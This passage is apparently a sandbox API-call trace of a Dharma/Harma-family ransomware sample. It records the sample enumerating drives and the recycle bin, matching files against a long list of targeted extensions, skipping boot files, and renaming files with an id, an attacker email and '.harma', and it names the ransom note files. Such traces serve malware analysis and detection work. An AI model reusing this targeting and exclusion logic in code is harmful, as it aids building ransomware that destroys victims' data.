lpString2=".CFG") returned 1 [0174.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.302] lstrlenW (lpString=".1cd") returned 4 [0174.302] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0174.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.302] lstrlenW (lpString=".jpg") returned 4 [0174.302] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0174.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.303] lstrlenW (lpString=".doc") returned 4 [0174.303] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0174.303] lstrlenW (lpString=".docx") returned 5 [0174.303] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0174.303] lstrlenW (lpString=".pdf") returned 4 [0174.303] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0174.303] lstrlenW (lpString=".xls") returned 4 [0174.303] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0174.303] lstrlenW (lpString=".xlsx") returned 5 [0174.303] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0174.303] lstrlenW (lpString=".ppt") returned 4 [0174.303] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0174.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.303] lstrlenW (lpString=".zip") returned 4 [0174.303] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0174.303] lstrlenW (lpString=".rar") returned 4 [0174.303] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0174.303] lstrlenW (lpString=".bz2") returned 4 [0174.303] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0174.303] lstrlenW (lpString=".7z") returned 3 [0174.303] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0174.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.303] lstrlenW (lpString=".dbf") returned 4 [0174.303] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0174.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.303] lstrlenW (lpString=".1cd") returned 4 [0174.303] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0174.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0174.304] lstrlenW (lpString=".jpg") returned 4 [0174.304] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0174.304] lstrlenW (lpString=".id-") returned 4 [0174.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351500 | out: hHeap=0x300000) returned 1 [0174.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bef68 | out: hHeap=0x300000) returned 1 [0174.304] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a30480 | out: hHeap=0x300000) returned 1 [0174.306] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a40488 | out: hHeap=0x300000) returned 1 [0174.309] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3d20020 | out: hHeap=0x300000) returned 1 [0174.313] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3514e8 | out: hHeap=0x300000) returned 1 [0174.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514e8 [0174.313] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3514e8, Size=0x20) returned 0x41d2290 [0174.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3514e8 [0174.314] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3514e8, Size=0x20) returned 0x41d21c8 [0174.314] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.314] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.314] Wow64DisableWow64FsRedirection (in: OldValue=0x313ff58 | out: OldValue=0x313ff58*=0x1) returned 1 [0174.314] lstrlenW (lpString="kernel32.dll") returned 12 [0174.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d21c8 | out: hHeap=0x300000) returned 1 [0174.314] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d2290 | out: hHeap=0x300000) returned 1 Thread: id = 58 os_tid = 0x6e8 [0132.298] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3a50490 [0132.299] lstrlenW (lpString="C:") returned 2 [0132.299] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x327fd00 | out: lpFindFileData=0x327fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3c1a48 [0132.299] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0132.299] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0132.299] lstrlenW (lpString="$Recycle.Bin") returned 12 [0132.299] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0132.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3a60498 [0132.300] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0132.300] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3c1a88 [0132.300] FindNextFileW (in: hFindFile=0x3c1a88, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.300] FindNextFileW (in: hFindFile=0x3c1a88, lpFindFileData=0x327fa84 | out: lpFindFileData=0x327fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0132.300] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0132.300] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0132.301] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0132.301] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0132.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3a704a0 [0132.301] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0132.301] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3c1ac8 [0132.301] FindNextFileW (in: hFindFile=0x3c1ac8, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.301] FindNextFileW (in: hFindFile=0x3c1ac8, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x5d54a20, ftCreationTime.dwHighDateTime=0x1d58aa9, ftLastAccessTime.dwLowDateTime=0x5d54a20, ftLastAccessTime.dwHighDateTime=0x1d58aa9, ftLastWriteTime.dwLowDateTime=0x5d54a20, ftLastWriteTime.dwHighDateTime=0x1d58aa9, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0132.301] lstrlenW (lpString="desktop.ini") returned 11 [0132.301] lstrlenW (lpString=".1cd") returned 4 [0132.301] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0132.302] lstrlenW (lpString=".3ds") returned 4 [0132.302] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0132.302] lstrlenW (lpString=".3fr") returned 4 [0132.302] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0132.302] lstrlenW (lpString=".3g2") returned 4 [0132.302] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0132.302] lstrlenW (lpString=".3gp") returned 4 [0132.302] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0132.302] lstrlenW (lpString=".7z") returned 3 [0132.302] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0132.302] lstrlenW (lpString=".accda") returned 6 [0132.302] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0132.302] lstrlenW (lpString=".accdb") returned 6 [0132.302] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0132.302] lstrlenW (lpString=".accdc") returned 6 [0132.302] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0132.302] lstrlenW (lpString=".accde") returned 6 [0132.302] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0132.302] lstrlenW (lpString=".accdt") returned 6 [0132.302] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0132.302] lstrlenW (lpString=".accdw") returned 6 [0132.302] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0132.302] lstrlenW (lpString=".adb") returned 4 [0132.302] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0132.302] lstrlenW (lpString=".adp") returned 4 [0132.302] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0132.302] lstrlenW (lpString=".ai") returned 3 [0132.302] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0132.302] lstrlenW (lpString=".ai3") returned 4 [0132.302] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0132.302] lstrlenW (lpString=".ai4") returned 4 [0132.303] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".ai5") returned 4 [0132.303] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".ai6") returned 4 [0132.303] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".ai7") returned 4 [0132.303] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".ai8") returned 4 [0132.303] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".anim") returned 5 [0132.303] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0132.303] lstrlenW (lpString=".arw") returned 4 [0132.303] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".as") returned 3 [0132.303] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0132.303] lstrlenW (lpString=".asa") returned 4 [0132.303] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".asc") returned 4 [0132.303] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".ascx") returned 5 [0132.303] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0132.303] lstrlenW (lpString=".asm") returned 4 [0132.303] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".asmx") returned 5 [0132.303] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0132.303] lstrlenW (lpString=".asp") returned 4 [0132.303] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".aspx") returned 5 [0132.303] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0132.303] lstrlenW (lpString=".asr") returned 4 [0132.303] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0132.303] lstrlenW (lpString=".asx") returned 4 [0132.303] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".avi") returned 4 [0132.304] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".avs") returned 4 [0132.304] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".backup") returned 7 [0132.304] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0132.304] lstrlenW (lpString=".bak") returned 4 [0132.304] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".bay") returned 4 [0132.304] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".bd") returned 3 [0132.304] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0132.304] lstrlenW (lpString=".bin") returned 4 [0132.304] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".bmp") returned 4 [0132.304] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".bz2") returned 4 [0132.304] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".c") returned 2 [0132.304] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0132.304] lstrlenW (lpString=".cdr") returned 4 [0132.304] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".cer") returned 4 [0132.304] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0132.304] lstrlenW (lpString=".cf") returned 3 [0132.304] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0132.304] lstrlenW (lpString=".cfc") returned 4 [0132.305] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".cfm") returned 4 [0132.305] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".cfml") returned 5 [0132.305] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0132.305] lstrlenW (lpString=".cfu") returned 4 [0132.305] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".chm") returned 4 [0132.305] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".cin") returned 4 [0132.305] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".class") returned 6 [0132.305] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0132.305] lstrlenW (lpString=".clx") returned 4 [0132.305] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".config") returned 7 [0132.305] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0132.305] lstrlenW (lpString=".cpp") returned 4 [0132.305] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".cr2") returned 4 [0132.305] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".crt") returned 4 [0132.305] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".crw") returned 4 [0132.305] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".cs") returned 3 [0132.305] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0132.305] lstrlenW (lpString=".css") returned 4 [0132.305] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".csv") returned 4 [0132.305] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".cub") returned 4 [0132.305] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0132.305] lstrlenW (lpString=".dae") returned 4 [0132.306] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".dat") returned 4 [0132.306] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".db") returned 3 [0132.306] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0132.306] lstrlenW (lpString=".dbf") returned 4 [0132.306] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".dbx") returned 4 [0132.306] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".dc3") returned 4 [0132.306] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".dcm") returned 4 [0132.306] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".dcr") returned 4 [0132.306] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".der") returned 4 [0132.306] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".dib") returned 4 [0132.306] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".dic") returned 4 [0132.306] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".dif") returned 4 [0132.306] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".divx") returned 5 [0132.306] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0132.306] lstrlenW (lpString=".djvu") returned 5 [0132.306] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0132.306] lstrlenW (lpString=".dng") returned 4 [0132.306] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".doc") returned 4 [0132.306] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0132.306] lstrlenW (lpString=".docm") returned 5 [0132.306] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0132.306] lstrlenW (lpString=".docx") returned 5 [0132.307] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0132.307] lstrlenW (lpString=".dot") returned 4 [0132.307] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".dotm") returned 5 [0132.307] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0132.307] lstrlenW (lpString=".dotx") returned 5 [0132.307] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0132.307] lstrlenW (lpString=".dpx") returned 4 [0132.307] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".dqy") returned 4 [0132.307] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".dsn") returned 4 [0132.307] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".dt") returned 3 [0132.307] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0132.307] lstrlenW (lpString=".dtd") returned 4 [0132.307] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".dwg") returned 4 [0132.307] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".dwt") returned 4 [0132.307] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".dx") returned 3 [0132.307] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0132.307] lstrlenW (lpString=".dxf") returned 4 [0132.307] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".edml") returned 5 [0132.307] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0132.307] lstrlenW (lpString=".efd") returned 4 [0132.307] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".elf") returned 4 [0132.307] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".emf") returned 4 [0132.307] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0132.307] lstrlenW (lpString=".emz") returned 4 [0132.308] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".epf") returned 4 [0132.308] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".eps") returned 4 [0132.308] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".epsf") returned 5 [0132.308] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0132.308] lstrlenW (lpString=".epsp") returned 5 [0132.308] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0132.308] lstrlenW (lpString=".erf") returned 4 [0132.308] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".exr") returned 4 [0132.308] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".f4v") returned 4 [0132.308] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".fido") returned 5 [0132.308] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0132.308] lstrlenW (lpString=".flm") returned 4 [0132.308] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".flv") returned 4 [0132.308] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".frm") returned 4 [0132.308] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".fxg") returned 4 [0132.308] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".geo") returned 4 [0132.308] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".gif") returned 4 [0132.308] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".grs") returned 4 [0132.308] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0132.308] lstrlenW (lpString=".gz") returned 3 [0132.308] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0132.308] lstrlenW (lpString=".h") returned 2 [0132.309] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0132.309] lstrlenW (lpString=".hdr") returned 4 [0132.309] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0132.309] lstrlenW (lpString=".hpp") returned 4 [0132.309] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0132.309] lstrlenW (lpString=".hta") returned 4 [0132.309] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0132.309] lstrlenW (lpString=".htc") returned 4 [0132.309] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0132.309] lstrlenW (lpString=".htm") returned 4 [0132.309] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0132.309] lstrlenW (lpString=".html") returned 5 [0132.309] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0132.309] lstrlenW (lpString=".icb") returned 4 [0132.309] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0132.309] lstrlenW (lpString=".ics") returned 4 [0132.309] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0132.309] lstrlenW (lpString=".iff") returned 4 [0132.309] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0132.309] lstrlenW (lpString=".inc") returned 4 [0132.309] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0132.309] lstrlenW (lpString=".indd") returned 5 [0132.309] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0132.309] lstrlenW (lpString=".ini") returned 4 [0132.309] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0132.309] lstrlenW (lpString="desktop.ini") returned 11 [0132.309] lstrlenW (lpString=".harma") returned 6 [0132.309] lstrcmpiW (lpString1=".harma", lpString2="op.ini") returned -1 [0132.309] lstrlenW (lpString="desktop.ini") returned 11 [0132.309] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0132.310] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0132.310] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0132.310] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0132.310] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0132.310] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0132.310] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0132.310] lstrcmpiW (lpString1="3G6885.exe", lpString2="desktop.ini") returned -1 [0132.310] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0132.310] FindNextFileW (in: hFindFile=0x3c1ac8, lpFindFileData=0x327f808 | out: lpFindFileData=0x327f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcd0f6270, ftCreationTime.dwHighDateTime=0x1d58aa8, ftLastAccessTime.dwLowDateTime=0xcd0f6270, ftLastAccessTime.dwHighDateTime=0x1d58aa8, ftLastWriteTime.dwLowDateTime=0xcd11c3d0, ftLastWriteTime.dwHighDateTime=0x1d58aa8, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma", cAlternateFileName="DESKTO~1.HAR")) returned 1 [0132.310] lstrlenW (lpString="desktop.ini.id-9C354B42.[gillian.cher@aol.com].harma") returned 52 [0132.310] lstrlenW (lpString=".1cd") returned 4 [0132.310] lstrcmpiW (lpString1=".1cd", lpString2="arma") returned -1 [0132.310] lstrlenW (lpString=".3ds") returned 4 [0132.310] lstrcmpiW (lpString1=".3ds", lpString2="arma") returned -1 [0132.310] lstrlenW (lpString=".3fr") returned 4 [0132.310] lstrcmpiW (lpString1=".3fr", lpString2="arma") returned -1 [0132.310] lstrlenW 